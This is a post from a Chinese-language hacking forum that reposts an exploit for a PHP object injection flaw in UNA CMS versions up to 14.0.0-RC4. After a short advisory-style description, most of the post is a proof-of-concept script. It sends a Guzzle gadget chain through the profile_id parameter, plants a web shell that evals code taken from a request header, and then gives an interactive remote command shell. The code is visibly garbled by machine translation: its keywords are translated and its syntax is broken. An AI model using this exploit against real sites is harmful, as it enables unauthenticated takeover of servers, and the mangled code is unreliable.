H

UNA CMS 14.0.0 -RC -PHP对象注入

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: UNA CMS=14.0.0-RC4(bxbasemenusetacllevel.php)PHP对象注入漏洞
#作者: egidio romano aka egix
#软件链接. https://unacms.com
[ - ]软件链接:
[ - ]受影响的版本:
从9.0.0-RC1到14.0.0-rc4的所有版本。
[ - ]漏洞描述:
漏洞位于
/template/scripts/bxbasemenusetacllevel.php脚本。具体来说,
在BXBASEMENUSETACLLEVEL:GetCode()方法中。打电话给这个
方法,用户输入通过“ profile_id”帖子参数为
在呼叫之前,未正确消毒
Unserialize()PHP函数。这可以被远程利用,
未经身份验证的攻击者将任意PHP对象注入
应用程序范围,允许他们执行各种攻击,例如
作为编写和执行任意PHP代码。
php
/*
--------------------------------------------------------------------------------------------------------------------------------
una cms=14.0.0-rc4(bxbasemenusetacllevel.php)PHP对象注入漏洞
--------------------------------------------------------------------------------------------------------------------------------
作者...........
邮件.. N0B0D13S [at] gmail [dot] com
软件链接. https://unacms.com
+---------------------------------------------------------------------------------------------------+
|此概念代码证明仅出于教育目的而编写。 |
|使用它自己的风险。作者将对任何损害不承担任何责任。 |
+---------------------------------------------------------------------------------------------------+
[ - ]漏洞描述:
该漏洞位于/template/scripts/bxbasemenusetacllevel.php脚本中。
具体而言,在BXBASEMENUSETACLLEVEL:GetCode()方法中。打电话给这个
方法,通过“ profile_id”帖子参数传递的用户输入不正确
在呼叫Unserialize()PHP函数中使用之前进行了消毒。这可以
被远程,未经身分的攻击者利用,将任意PHP对象注入
应用程序范围,使他们能够执行各种攻击,例如
编写和执行任意PHP代码。
[ - ]原始Advisory:
*/
set_time_limit(0);
error_reporting(e_error);
打印'\ n+-----------------------------------------------------------------------------------+';
打印'\ n | una cms=14.0.0-rc4 php对象注入egix |';
打印'\ n+----------------------------------------------------------------------------------+\ n';
如果(!extension_loaded('curl'))die('\ n [ - ] curl Extension!\ n \ n');
如果($ argc!=2)
{
打印'\ nusage . php $ argv [0] url \ n';
打印'\ nexample . php $ argv [0] http://localhost/una/';
打印'\ nexample . php $ argv [0] https://unacms.com/\ n \ n';
死();
}
定义('on_apache',true);
define('sh_path',on_apache?'./cache_public/sh.phtml':'./cache_public/sh.php');
guzzlehttp_cookie_setCookie
{
私有$ data=['expires'='','value'='?php eval(base64_decode($ _ server [\'http_c \']]));'];
}
guzzlehttp_cookie_filecookiejar类
{
私人$ cookie,$ filename=sh_path,$ storesessioncookies=true;
函数__construct()
{
$ this-cookies=[new Guzzlehttp_cookie_setCookie];
}
}
$ url=$ argv [1];
$ ch=curl_init();
$链=序列化(新的guzzlehttp_cookie_filecookiejar);
$链=str_replace('guzzlehttp_cookie_setcookie','guzzlehttp \ cookie \ setCookie',$链);
$链=str_replace('guzzlehttp_cookie_filecookiejar','guzzlehttp \ cookie \ fieecookiejar',$链);
curl_setopt($ ch,curlopt_url,'{$ url}菜单.php');
curl_setopt($ ch,curlopt_returntransfer,1);
curl_setopt($ ch,curlopt_ssl_verifypeer,0);
curl_setopt($ ch,curlopt_ssl_verifyHost,0);
curl_setopt($ ch,curlopt_httpheader,['x-requested with: xmlhttprequest']);
curl_setopt($ ch,curlopt_postfields,'o=sys_set_acl_levela=setAcllevel_id=1profile_id='。urlencode(urlencode($ chain));
打印'\ n [+]执行PHP对象注入';
curl_exec($ ch); curl_close($ ch);
打印'\ n [+]启动shell \ n';
$ ch=curl_init();
curl_setopt($ ch,curlopt_url,$url。sh_path);
curl_setopt($ ch,curlopt_returntransfer,1);
curl_setopt($ ch,curlopt_ssl_verifypeer,0);
curl_setopt($ ch,curlopt_ssl_verifyHost,0);
$ phpcode='print''; print shell_exec(base64_decode('%s'));打印'';';
而(1)
{
打印'\ nuna-shell#';
if(($ cmd=trim(fgets(stdin)))=='exit')break;
curl_setopt($ ch,curlopt_httpheader,['c:'。base64_encode(sprintf($ phpcode,base64_encode($ cmd))))];
preg_match('/__(.* :) __/s',curl_exec($ ch),$ m)?打印$ m [1] : die('\ n [ - ]利用失败!\ n \ n');
}
 
后退
顶部